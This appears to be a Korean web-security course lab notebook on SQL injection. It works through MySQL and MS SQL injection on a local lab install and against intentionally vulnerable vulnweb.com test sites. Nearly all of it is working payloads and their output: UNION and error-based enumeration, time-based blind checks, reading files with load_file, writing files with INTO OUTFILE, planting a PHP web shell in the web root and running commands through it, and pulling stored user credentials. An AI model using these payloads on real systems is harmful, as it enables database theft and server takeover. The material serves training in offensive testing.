20160826 웹보안
[실습2] MySQL Database 쿼리 테스트
■ 실습 설명
● 직접 DB를 설치하여 SQL 쿼리가 어떤식으로 요청되는지 확인해 보자.
■ 준비 사항
● APM(Apache + PHP + MYSQL) 설치
● MySQL 쿼리분석기 설치
■ 사용시스템
● window7(MySQL(Test Target))
● MySQL 퀄리분석기(Test Tool)
■ 작업 과정
● windows 7에 APM 설치하기
● windows 7에 MySQL 쿼리분석기 설치하기
① APM(Apache, PHP, MySQL) 설치
■ 소프트웨어 다운로드
- http://apmsetup.com/download.php
■ APM 설치(기본값으로 설치)
● Installer Language
<OK>
● APMSETUP 7 for Win32 설치를 시작합니다.
<다음>
● 사용권 계약
<동의함>
● 구성 요소 선택
<다음>
● 설치 위치 선택
<설치>
● APMSETUP 7 for Win32 설치 완료
<마침>
② MySQL 쿼리분석기 설치
■ 소프트웨어 다운로드
- http://downloads.mysql.com/archives/gui/
- 파일이름: mysql-gui-tools-5.0-r17-win32.msi
■ MySQL 쿼리분석기 설치(기본값으로 설치)
● Welcome to the Setup Wizard for MySQL Tools for 5.0
<Next>
● License Agreement
[ V ] I accept the terms in the license agreement
<Next>
● Destination Folder
<Next>
● Setup Type
<Next>
● Ready to Install the Program
<Install>
③ MySQL 쿼리분석기 실행 및 MySQL에 접속하기
시작 > 모든 프로그램 > MySQL > MySQL Query Browser
Stored Connection : MySQL1
Server Host : 127.0.0.1 /* MySQL의 IP 입력 */
Port : 3306 /* MySQL의 Port */
Username : root /* 기본 관리자 계정은 root */
Password : apmsetup /* 기본 관리자 계정 암호는 apmsetup */
Default Schema: WebHacking /* 임의의 이름(임의 DB를 생성하는 이름을 입력) */
(쿼리분석기 실행된 화면)
④ 쿼리분석기에서 테스트할 테이블 생성 및 데이터 입력
-> SQL 쿼리를 입력한 이후에 상단의 번개모양 아이콘을 선택하면 실행된다.
테스트할 테이블 생성하기 위해서 다음과 같은 내용을 입력한다.
create table test ( id int, name varchar(10), passwd varchar(10) ); |
상단 부분의 아이콘 중 쿼리실행(번개모양)을 선택한다.
정상적으로 생성되어 있는지 확인하기 위해서 다음과 같은 내용을 입력한다.
select * from test; |
test 테이블에 데이터를 입력한다.
다음과 같은 내용을 개별적으로 입력하고 실행한다.
insert into test (id, name, passwd) values(1, "chulsu", "123456"); |
insert into test (id, name, passwd) values(2, "gildong", "happy"); |
insert into test (id, name, passwd) values(3, "shadow", "test1234"); |
정상적으로 생성되어 있는지 확인하기 위해서 다음과 같은 내용을 입력한다.
select * from test; |
[참고] 잘못된 정보가 등록된 경우에는 drop table 을 사용하여 지우고 다시 생성한다.
drop table test;
create table test (id int,name varchar(10),passwd varchar(10));
insert into test (id, name, passwd) values(1, "chulsu", "123456");
insert into test (id, name, passwd) values(2, "gildong", "happy");
insert into test (id, name, passwd) values(3, "shadow", "test1234");
다른 명령어를 사용하여 정보를 확인한다.
select * from test where id=1 |
select * from test where id=1 or 1 |
select * from test where id=1 or 1=1 |
⑤ union 쿼리 사용(두개 이상의 쿼리를 이용하는 Union SQL Injection)
● union 쿼리는 2가지 유형이 있다.
(ㄱ) union select
(ㄴ) union all select
● union 쿼리 사용시 주의 사항은 반드시 필드의 개수 및 필드의 자료형이 동일해야 한다.
union 쿼리 구문을 사용하기 전에 필드개수 파악하기
● (ㄱ) order by 사용하는 경우
필드의 개수를 파악하기 위해서 아래와 같이 order by(데이터 정렬)를 사용하여 확인한다.
select * from test order by 1;
● (ㄴ) null 값을 사용하는 경우
union을 사용하기 때문에 삽입한 null 개수가 필드의 수와 일치하지 않는 경우에 에러가 발생하는 점을 이용한다.
select * from test where id=1 union all select null;
(ㄱ) order by 사용하여 필드의 개수를 확인 하는 방법
select * from test order by 1; |
-> 에러없음(정렬된다.)
select * from test order by 2; |
-> 에러없음(정렬된다.)
select * from test order by 3; |
-> 에러없음(정렬된다.)
select * from test order by 4; |
-> 에러발생
-> 왼쪽 하단 부분에 에러 메세지 "Unknown column '4' in 'order clause' 표시된다.
-> 따라서, 필드가 3개라는 것을 확인할 수 있다.
(ㄴ) null 값을 사용하여 필드의 개수를 확인하는 방법
select * from test where id=1 union all select null; |
-> 에러 발생
-> 왼쪽 하단 부분에 "The used SELECT statement have a different number of columns" 표시된다.
select * from test where id=1 union all select null, null; |
-> 에러 발생
select * from test where id=1 union all select null, null, null; |
-> 에러 없음
-> 따라서 null 3개인 경우에 에러가 없으므로 필드가 3개라는 것을 확인 할 수 있다.
⑥ 버전 정보 확인
● 버전 정보를 확인하기 위해 union 쿼리와 null 값 3개 중에 @@version 명령어를 삽입한다.
select * from test where id=1 union all select @@version,null,null#; |
-> MySQL 5.1.41-community 버전이라는 것을 확인할 수 있다.
⑦ 데이터베이스 정보 확인
information_schema.schemata는 데이터베이스와 관련된 정보를 가지고 있으며, 이중에서 필드 shema_name을 사용하면 전체 데이터베이스 이름을 추출할 수 있다.
select * from test where id=1 union all select schema_name,null,null from information_schema.schemata; |
⑧ 테이블 이름 확인
information_schema.tables는 테이블 관련 모든 정보를 가지고 있으며, table_name 필드 사용시 테이블이름을 추출할 수 있다.
select * from test where id=1 UNION SELECT null,null,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10; |
● WHERAE 조건절의 version은 MySQL 버전을 의미한다.
- 10은 MySQL 버전이 5인 경우이다.
- 9는 MySQL 버전이 4인 경우이다.
● 정상적으로 충력이 정상적으로 되기 때문에 MySQL 10 버전이라는 것을 확인할 수 있다.
⑨ 필드 이름 확인
user_privileges의 필드 값을 추출해 보자.
information_schema.columns에는 필드(컬럼)의 정보를 포함하고 있으며 해당 필드 중 colum_name을 통해 필드 정보를 추출할 수 있다.
select * from test where id=1 UNION SELECT null, null, GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'user_privileges'; |
⑩ 파일 읽기
데이버베이스 load_file() 함수를 통해 시스템 파일을 읽는 방법을 사용해 보자.
아파치 웹서버의 웹페이지(EX: index.php)의 경로를 확인한다.
-> C:\APM_Setup\htdocs\index.php
다음과 같이 접근하고자 하는 파일의 물리적인 위치를 적어 준다.
테스트는 "윈도우 시스템 예"를 가지고 작업한다.
(윈도우 시스템의 예)
select * from test where id=1 UNION SELECT null, null, load_file('C:\\APM_Setup\\htdocs\\index.php'); |
(유닉스 시스템 예)
select * from test where id=1 UNION SELECT null, null, load_file('etc/passwd'); |
⑪ 파일쓰기
into_outfile() 함수를 이용하여 웹서버에 파일(sec.txt)을 생성해 보자.
select * from test where id=1 UNION ALL SELECT 'your homepage belongs to me', null, null INTO OUTFILE 'C:\\APM_Setup\\htdocs\\sec.txt'; |
정상적으로 동작했는지 확인은 웹페이지를 통해 확인해 본다.
웹브라우저를 띄우고 다음과 같이 입력한다.
http://127.0.0.1/sec.txt
⑪ 웹셀 만들기
select * from test where id=1 union all SELECT '<? system($_GET[\'input\']); ?>', null, null INTO OUTFILE 'C:\\APM_Setup\\htdocs\\hack.php'; |
C:\APM_Setup\htdocs 디렉토리에 생성된 hack.php 파일 확인
웹브라우저에서 확인
http://127.0.0.1/hack.php?input=ipconfig
-> 정상적으로 보인다.
다른 명령어에 대해서도 수행해 보자.
http://127.0.0.1/hack.php?input=dir
http://127.0.0.1/hack.php?input=hostname
http://127.0.0.1/hack.php?input=arp -a
http://127.0.0.1/hack.php?input=tasklist /m
(주의) 공백이 있으면 정상적으로 수행되지 않는것 같다.
[참고] 윈도우에서 수행할 수 있는 명령어 종류에 대해서
[실습3] MySQL DB 공격을 통한 데이터베이스 정보 추출
■ 실습 설명
● testphp.vulnweb.com 사이트(WEB-MySQL)를 대상으로 테스트를 해보자.
■ 사용시스템
- http://testphp.vulnweb.com(Test Target)
- windows 7(웹브라우저)
① 특수문자 삽입(')을 통해 에러 유출 유무 확인
아래와 같이 웹브라우저에 입력한다.
http://testphp.vulnweb.com/listproducts.php?cat=1'
다음과 같은 경우
(ㄱ) 특수 문자등이 차단되거나
(ㄴ) 에러가 발생되지 않는 경우는
error-based 공격기법으로 정보를 알아낼수 없다.
따라서 Blind 타입 공격을 통해 취약점을 확인해야 한다.
(ㄱ) 첫번째는 원래 URL 정보이며, 정상적인 쿼리 결과를 제공한다.
(ㄴ) 두번째는 거짓조건 and 1=0을 삽입한 경우, 쿼리가 수행되지 않기 때문에 화면에 정보가 출력되지 않는다.
(ㄷ) 세번째는 참조건인 and 1=1을 삽입한 경우, 쿼리가 수행되어 결과가 출력된다.
(첫번째) 원래 URL 정보 입력(정상적인 쿼리 결과 제공)
http://testphp.vulnweb.com/listproducts.php?cat=1
-> 정상적인 출력 결과가 보인다.
(두번째) 거짓조건 and 1=0을 삽입한 경우(쿼리가 수행되지 않기 때문에 화면에 정보가 출력 않됨)
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0
(세번째) 참조건인 and 1=1을 삽입한 경우(쿼리가 수행되어 결과가 출력)
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=1
에러가 발생되지 않는 사이트에 대해서 사용할 수 있는 다른 기법으로 time delay SQL Injection을 진행할 수도 있다.
● time delay는 특정 시간만큼 쿼리 결과를 늦게 출력되도록 만드는 명령어이다. 만약 5초 이후에 쿼리 결과를 확인할 수 있다면 취약점이 있다고 판단할 수 있다.
● [참고] DBMS 별 time delay 명령어
MS SQL : waitfor delay
MySQL : 4버전에서는 benchmark(), 5버전에서는 sleep()
Oracle : BEGIN DBMS_LOCK.SLEEP(5); END
해당 쿼리 삽입 후 5초 후에 쿼리 결과가 보인다면 sleep() 함수 사용이 가능하다는 것을 짐작할 수 있기 때문에 데이터 베이스가 MySQL이라고 추측할 수 있다.
아래와 같이 입력하면 5초뒤에 페이지가 보인다는 것을 확인할 수 있다.
http://testphp.vulnweb.com/listproducts.php?cat=1 and sleep(5)
② union 쿼리를 사용하기 위해 필드 개수를 확인
(NULL 1일때) 에러 발생
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL
(NULL 2개일때) 에러 발생
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL
(NULL 3개일때) 에러 발생
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL
(NULL 4개일때) 에러 발생
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL
(NULL 5개일때) 에러 발생
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL
(NULL 6개일때) 에러 발생
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL
(NULL 7개일때) 에러 발생
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL
(NULL 8개일때) 에러 발생
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
(NULL 9개일때) 에러 발생
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
(NULL 10개일때) 에러 발생
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
(NULL 11개일때) 에러 없음
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
-> 11개의 NULL 패턴 사용시 에러가 발생되지 않았기 때문에 해당 테이블의 필드는 11개로 짐작할 수 있다.
③ 데이터베이스 계정 추출(사용자 정보)하기
● 11개의 필드 확인
● null 필드 대신 user() 함수를 넣는다.
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, user(), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
-> 계정 정보가 보인다.
다른 방법을 통해 계정 정보를 확인해 보자.
UNION 쿼리 대신 그룹키 에러를 통한 정보 획득 방법을 테스트 해 보자.
http://testphp.vulnweb.com/listproducts.php?cat=1 AND (select 3111 from ( select sum(5),111,222,FLOOR(RAND(0)*2) as a from information_schema.tables group by a ) aaa);
Error: Duplicate entry '1' for key 'group_key' Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74 |
-> 위와 같은 에러메세지가 출력된다.
위의 문장을 사용하기 위해서 다음과 같은 과정을 진행한다.
http://testphp.vulnweb.com/listproducts.php?cat=1 AND (select 3111 from aaa);
Error: Table 'acuart.aaa' doesn't exist Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74 |
-> 에러 메세지가 발생하도록 존재하지 않는 테이블(EX: aaa)과 필드(EX: 3111)을 사용했다.
http://testphp.vulnweb.com/listproducts.php?cat=1 AND (select sum(5), (111,222,FLOOR(RAND(0)*2)) as a from information_schema.tables group by a);
Error: Operand should contain 1 column(s) Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74 |
-> 서브쿼리 구조가 잘못되었을때 발생하는 "Operand should ....." 에러가 발생한다.
-> RAND() 함수는 랜덤값을 생성하기 위한 함수이고, FLOOR() 함수는 입력된 값 중 가장 큰 정수값을
제공하는 함수이다.
http://testphp.vulnweb.com/listproducts.php?cat=1 AND (select 3111 from ( select sum(5), concat(111,222,FLOOR(RAND(0)*2)) as a from information_schema.tables group by a ) aaa);
Error: Duplicate entry '1112221' for key 'group_key' Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74 |
http://testphp.vulnweb.com/listproducts.php?cat=1 AND (select 3111 from ( select sum(5), concat(user(),222,FLOOR(RAND(0)*2)) as a from information_schema.tables group by a ) aaa);
Error: Duplicate entry 'acuart@localhost2221' for key 'group_key' Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74 |
-> 위와 같이 에러 메세지를 통해 중요정보를 확인할 수 있다.
-> 이 방법은 MySQL 사이트 공격을 위해 널리 사용되는 패턴이다.
-> 기타 다양한 패턴등이 존재하므로 검색을 통해 공부하기 바란다.
또 다른 방법을 통해 정보를 확인해 본다.
NULL 패턴 대신, 일련 번호 1부터 11까지 대입해 본다.
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11#
-> 전제 필드 중 3개의 필드(7, 2, 9)만 사용이 가능하다는 것을 알수 있다.
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT 1,2,3,4,5,6,user(),8,9,10,11#
-> 7 필드 자리에 사용자 정보가 표시되는 것을 확인할 수 있다.
④ version() 함수를 사용하여 DBMS 버전 확인하기
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT 1,2,3,4,5,6,version(),8,9,10,11#
-> 버전 정보를 확인할 수 있다.
⑤ 사용자 계정과 암호를 확인하기
사용자 계정과 암호가 들어 있을만한 테이블과 필드를 찾는다.
테이블 정보가 포함된 information_schema.tables를 사용하고 필드는 table_name, where 조건절에는 현재 데이터베이스를 선택한다.
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select 1, group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()#
-> 출력 결과 "artists,carts,categ,featured,guestbook,pictures,products,users" 중 users 테이블
에 사용자 정보가 들어 있을 가능성이 높다.
컬럼 정보(column_name)를 가지고 있는 information_schema.columns을 from 절에서 사용하고, where 조건절에는 users 테이블을 넣어서 실행한다.
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select 1, group_concat(column_name),3,4,5,6,7,8,9,10,11 from information_schema.columns where table_name='users'#
-> 출력된 정보 중 사용자 이름은 uname 필드에 암호는 pass 필드에 들어 있을 것으로 추정된다.
사용자 계정을 포함하고 있을 것으로 추정되는 uname을 select 한다.
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select 1, uname,3,4,5,6,7,8,9,10,11 from users#
-> 사용자 계정이 'test'라는 것을 확인했다.
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select 1, pass,3,4,5,6,7,8,9,10,11 from users#
-> test 사용자의 암호가 'test'라는 것을 알수 있다.
(복원) APM 서비스 중지
<CTRL + SHIFT + ESC> => <서비스> 탭 => 오른쪽 하단 "<서비스>"
서비스 이름: APM_APCHE5, APM_MYSQL5
-> 서비스 중지
[실습4] MS SQL DB 공격 쿼리테스트
(준비사항)
● MS SQL 2012 Express 설치(on Windows 7)
(프로그램 다운로드)
http://www.microsoft.com/en-us/sqlserver/editions/2012-editions/express.aspx
-> MS Site 가입을 먼저 해야 한다.
-> 다운로드 받아야 하는 프로그램은 2가지이다.
- SQL_Server_2014_Express_with_Tools_64Bit
- SQL_Server_2014_Management_Studio_Express_64Bit
-> 2개의 프로그램을 받아 설치한다.
(프로그램 직접 다운로드 받는 사이트)
http://www.microsoft.com/en-us/download/details.aspx?id=29062
프로그램 설치는 교육용 교재를 참고한다.
■ MS SQL 2012 Express 설치 후 프로그램 실행
시작 > 모든 프로그램 > Microsoft SQL Server 2012 > SQL Server Management Studio
■ 프로그램이 실행된 후 SQL Server Management Studio에서 DB 생성
데이터베이스 > 오른쪽 마우스 클릭 > 새 데이터베이스 > 새로운 DB 이름: test
① 생성된 DB test 사용
use test; |
② 테이블 생성(EX: test, users, bbs)
create table test ( id int not null, name varchar(20) not null, password varchar(20) not null ); |
create table users ( id int not null, name varchar(20) not null, password varchar(20) not null ); |
create table bbs ( id int not null, name varchar(20) not null, password varchar(20) not null ); |
③ 생성된 테이블 test에 데이터 입력하기
insert into test values(1, 'charlie', '123456'); |
insert into test values(2, 'blade', 'qwert'); |
insert into test values(3, 'conco', '1234qwert'); |
다음과 같이 정상적으로 데이터 입력이 되었는지 확인한다.
select * from test; |
출력된 내용은 다음과 같다.
구성된 DB에 SQL Injection 테스트를 해 보자.
① 에러유출을 통한 취약점 확인
select * from test where id=1' |
메시지 105, 수준 15, 상태 1, 줄 1 문자열 ''의 따옴표가 짝이 맞지 않습니다. |
-> 특수문자(') 삽입에 따른 에러 발생여부에 따라 취약점이 있다고 판단이 된다.
② 인증 우회 하기
select * from test where id ='1' or 'a'='a'; |
③ having and group by를 사용하여 에러유도 및 DB 정보 유출하기
select * from test where id='1' having 1=1-- |
-> 에러 정보 중에서 test.id(테이블.컬럼) 정보를 얻을 수 있다.
위에서 얻은 정보(test.id)를 제외하고 다른 정보를 얻기 위해 group by test.id 형식을 사용한다.
select * from test where id='1' group by test.id having 1=1-- |
-> 에러 정보 중에서 test.name(테이블.컬럼) 정보를 얻을 수 있다.
위에서 얻은 정보(test.id, test.name)를 제외하고 다른 정보를 얻기 위해서 group by test.id, test.name 형식을 사용한다.
select * from test where id='1' group by test.id, test.name having 1=1-- |
-> 에러 정보 중에서 test.password(테이블.컬럼) 정보를 얻을 수 있다.
만약 다음과 같이 정상적으로 출력이 된다면 더이상 필드 정보가 없다고 판단할 수 있다.
select * from test where id='1' group by test.id, test.name, test.password having 1=1-- |
④ convert() 함수를 통한 에러유도 및 정보 유출
@@version을 이용하여 DB 정보(DB 버전 정보) 확인하기
select * from test where id='1' and '1'=convert(int,@@version)-- |
-> 에러 출력 결과에 'Micorsoft SQL Server 2014 - 12.0.2000.8 (x86)' 정보를 확인할 수 있다.
db_name() 함수를 이용하여 DB 정보(테이블 이름) 확인하기
select * from test where id='1' and '1'=convert(int,db_name())-- |
-> 에러메세지 출력결과에 테이블 이름(test)를 확인할 수 있다.
user_name() 함수를 이용하여 DB 정보(DB 사용자 이름) 확인하기
select * from test where id='1' and '1'=convert(int,user_name())-- |
-> 에러메세지 출력결과에 현재 사용자(dbo) 정보를 확인할 수 있다.
information_schema.tables의 table_name를 이용하여 DB 정보(테이블 이름) 확인
select * from test where id='1' and '1'=convert(int,(select top 1 table_name from information_schema.tables))-- |
-> 에러메세지 출력결과에 테이블(users) 이름을 확인할 수 있다.
검색된 결과(test 테이블)를 제외하고 다른 테이블에 대한 정보를 요청한다.
select * from test where id='1' and '1'= convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('test')))-- |
-> 에러메세지 출력결과에 다른 테이블(users) 이름을 확인할 수 있다.
검색된 결과(test, users 테이블)를 제외하고 다른 테이블에 대한 정보를 확인한다.
select * from test where id='1' and '1'= convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('test', 'users')))-- |
-> 에러메세지 출력결과에 다른 테이블(bbs) 이름을 확인할 수 있다.
검색된 결과(test, users, bbs 테이블)를 제외하고 다른 테이블에 대한 정보를 확인한다.
select * from test where id='1' and '1'= convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('test', 'users', 'bbs')))-- |
-> 에러 없이 정상적인 출력 결과가 나오기 때문에 추가적인 테이블은 없는 것으로 판단할 수 있다.
⑤ 필드 이름(columes name) 확인하기
● 필드 정보를 포함하는 information_schema.columns과 필드 이름을 제공하는 column_name을 사용
select * from test where id='1' and '1'= convert(int,(select top 1 column_name from information_schema.columns where table_name='test'))-- |
-> 에러 메세지 출력 결과에 필드(id) 이름을 확인할 수 있다.
● 확인된 id라는 필드를 제외한 추가 필드를 확인한다.
select * from test where id='1' and '1'= convert(int,(select top 1 column_name from information_schema.columns where table_name='test' and column_name not in ('id')))-- |
-> 에러 메세지 출력 결과에 필드(name) 이름을 확인할 수 있다.
● 확인된 id, name 필드를 제외한 추가 필드를 확인한다.
select * from test where id='1' and '1'= convert(int,(select top 1 column_name from information_schema.columns where table_name='test' and column_name not in ('id', 'name')))-- |
-> 에러 메세지 출력 결과에 필드(password) 이름을 확인할 수 있다.
● 확인된 id, name, password 필드를 제외한 추가 필드를 확인한다.
select * from test where id='1' and '1'= convert(int,(select top 1 column_name from information_schema.columns where table_name='test' and column_name not in ('id', 'name', 'password')))-- |
-> 에러 없이 정상적인 출력 결과가 나오기 때문에 추가적인 필드는 없는 것으로 판단할 수 있다.
● 필드의 저장 정보를 확인 확인한다.
select * from test where id='1' and '1'=convert(int,(select top 1 name from test))-- |
-> 에러 메세지의 출력 결과에 test 테이블에 들어 있는 name 필드의 값이 charlie로 되어 있는 것을 확인할 수 있다.
● 확인된 name 필드의 값(charlie)을 제외한 다른 정보 확인
select * from test where id='1' and '1'= convert(int,(select top 1 name from test where name not in ('charlie')))-- |
-> 에러 메세지의 출력 결과에 test 테이블에 들어 있는 name 필드의 다른 값이 blade로 되어 있는 것을 확인할 수 있다.
● 확인된 name 필드의 값(charlie, blade)을 제외한 다른 정보 확인
select * from test where id='1' and '1'= convert(int,(select top 1 name from test where name not in ('charlie', 'blade')))-- |
-> 에러 메세지의 출력 결과에 test 테이블에 들어 있는 name 필드의 다른 값이 conco로 되어 있는 것을 확인할 수 있다.
● 확인된 name 필드의 값(charlie, blade, conco)을 제외한 다른 정보 확인
select * from test where id='1' and '1'= convert(int,(select top 1 name from test where name not in ('charlie', 'blade', 'conco')))-- |
-> 에러 없이 정상적인 출력 결과가 나오기 때문에 추가적인 필드는 값은 없는 것으로 판단할 수 있다.
⑥ order by를 통한 필드 개수 확인
select * from test where id=1 order by 1--
select * from test where id=1 order by 2--
select * from test where id=1 order by 3--
select * from test where id=1 order by 4--
-> 에러가 발생하므로 필드의 개수는 3개임을 판단할 수 있다.
⑦ 부정조건과 함께 사용되는 union 쿼리
"6번 테스트" 결과에서 필드의 개수가 3개임을 확인했다. 따라서 union 쿼리를 사용할 수 있다. 아래와 부정조건과 함께 사용되는 union select 사용해 보자.
select * from test where id=1 and 1=2 union select 11,22,33-- |
⑧ union을 통한 버전 정보 확인하기
select * from test where id=1 and 1=2 union select 11,22,@@version-- |
-> 첫번째나 두번째 필드에 @@version를 사용해도 된다.
⑨ union을 이용한 테이블 목록 확인
● information_schema.tables와 table_name을 이용하여 bbs, test, users 테이블를 확인한다.
select * from test where id=1 and 1=2 union select 11,22,table_name from information_schema.tables-- |
-> 3번째 필드에 table 정보(bbs, test, users)를 확인할수 있다.
⑩ union을 이용한 컬럼(column) 목록 확인
● information_schema.columns와 column_name을 이용하여 test 테이블의 컬럼을 확인한다.
select * from test where id=1 and 1=2 union select 11,22,column_name from information_schema.columns where table_name='test'-- |
-> 출력 결과 중 3번째 필드에 test 테이블의 각 컬럼(id, name, password)을 확인할 수 있다.
⑪ 각 컬럼의 값 확인
select * from test where id=1 and 1=2 union select 11,22,name from test-- |
-> 출력 결과 중 3번째 필드에 test 테이블의 name 컬럼에 존재하는 값을 확인할 수 있다.
select * from test where id=1 and 1=2 union select 11,22,password from test-- |
-> 출력 결과 중 3번째 필드에 test 테이블의 password 컬럼에 존재하는 값을 확인할 수 있다.
[실습5] MSSQL DB 공격을 통한 데이터베이스 정보 추출1
대상 시스템
- http://testaspnet.vulnweb.com
테스트 도구
- 웹브라우저
■ 웹에 접속
http://testaspnet.vulnweb.com 사이트 접속
상단 메뉴의 "news"을 선택
화면 중간에 "Web Attacks - Can Your Web Applications Withstand The Force?" 선택
그럼 다음과 같은 화면이 나온다.
① 에러 기반의 SQL Injection(Error-based SQL Injection)
SQL Injection 취약성 테스트
-> URL 부분에 특수문자(')를 입력한다.
http://testaspnet.vulnweb.com/ReadNews.aspx?id=2'
-> 에러 메세지가 나오지 않는다. 따라서 에러기반 SQL Injection을 사용할 수는 없는것 같다.
② Blind SQL Injection
에러 메세지가 나오지 않으므로 Blind SQL Injection 테스트가 가능하지 아래와 같이 확인한다.
http://testaspnet.vulnweb.com/ReadNews.aspx?id=2 and 1=1
http://testaspnet.vulnweb.com/ReadNews.aspx?id=2 and 1=0
-> 정상적으로 쿼리가 수행되지 않는것 같다. 따라서, 공격 가능성이 있다고 판단한다.
③ 타임기반의 Blind SQL Injection을 통해 데이터베이스 종류 확인
DB 종류 확인
* MySQL : sleep() 함수 사용
* MS-SQL : waitfor delay 함수 사용
http://testaspnet.vulnweb.com/ReadNews.aspx?id=2 select sleep(5) --
-> 정보가 없는 페이지만 출력되는것으로 판단하여 sleep() 함수가 동작하지 않는것 같다. 따라서, DB 서버가 MySQL은 아닌것 같다.
http://testaspnet.vulnweb.com/ReadNews.aspx?id=2; waitfor delay '0:0:5'
-> 웹브라우저의 왼쪽 하단을 보면 5초 뒤에 이 페이지가 정상적으로 보여 진다는 것을 알수 있으므로 DB 서버는 MS-SQL 인것으로 판단할 수 있다.
[실습6] MS-SQL DB 공격을 통한 데이터베이스 정보 확인
테스트 대상 : http://testasp.vulnweb.com
테스트 도구 : 웹브라우저
다음 사이트에 접속해 보자.
- http://testasp.vulnweb.com/showforum.asp?id=2
① 필드 개수 확인
http://testasp.vulnweb.com/showforum.asp?id=2 order by 1--
http://testasp.vulnweb.com/showforum.asp?id=2 order by 2--
http://testasp.vulnweb.com/showforum.asp?id=2 order by 3--
-> order by 3-- 입력했을때 에러가 발생된다. 따라서 테이블안의 컬럼 개수가 2개인것을 확인할 수 있다.
② union select 사용하여 버전 정보 확인
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select 11,22--
-> 에러 메세지안에 '11'이 보이기 때문에 첫번째 필드만을 사용하여 정보를 획득해야 한다.
11 Microsoft SQL Native Client error '80040e14'
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
/showforum.asp, line 120 |
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select @@version,22--
-> Microsoft SQL Server 2005 알수 있다.
③ 테이블 정보 확인
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select table_name, 22 from information_schema.tables--
-> 테이블 이름이 forums 인것을 확인할 수 있다.
④ 사용자가 만든 테이블 전체 확인
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select count(*), 22 from sysobjects where xtype=0x55
-> count() 함수는 사용자 테이블의 개수를 확인할 때 사용한다.
-> 사용자의 테이블 개수가 4개임을 확인할 수 있다.
⑤ 4개 사용자 테이블의 문자열이 길이 확인
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 len(name), 22 from sysobjects where xtype=0x55
-> 첫번째 테이블 이름의 길이는 7자리임을 알수 있다.
두번째 테이블을 검색해 보자.
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 len(name), 22 from sysobjects where xtype=0x55 and name not in (select top 1 name from sysobjects where xtype=0x55)
-> 두번째 테이블의 이름은 5자리임을 알수 있다.
세번째 테이블에 대해서 확인해 보자.
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 len(name), 22 from sysobjects where xtype=0x55 and name not in (select top 2 name from sysobjects where xtype=0x55)
-> 세번째 테이블 이름의 길이는 6자리임을 알수 있다.
네번째 테이블(마지막 테이블)에 대해서 확인해 보자.
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 len(name), 22 from sysobjects where xtype=0x55 and name not in (select top 3 name from sysobjects where xtype=0x55)
-> 네번째 테이블의 이름의 길이는 5개임을 알수 있다.
지금까지 확인된 정보를 정리하면 다음과 같다.
---------------------------------------------------------
문자열 길이 검색조건
---------------------------------------------------------
첫번째 테이블 7 select top 1 len(name)
---------------------------------------------------------
두번째 테이블 5 select top 1 len(name) ....
name not in (select top 1 name
---------------------------------------------------------
세번째 테이블 6 select top 1 len(name) ....
name not in (select top 2 name
---------------------------------------------------------
네번째 테이블 5 select top 1 len(name)
name not in (select top 3 name
---------------------------------------------------------
⑥ 4개의 사용자 테이블 이름 추출
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from sysobjects where xtype=0x55
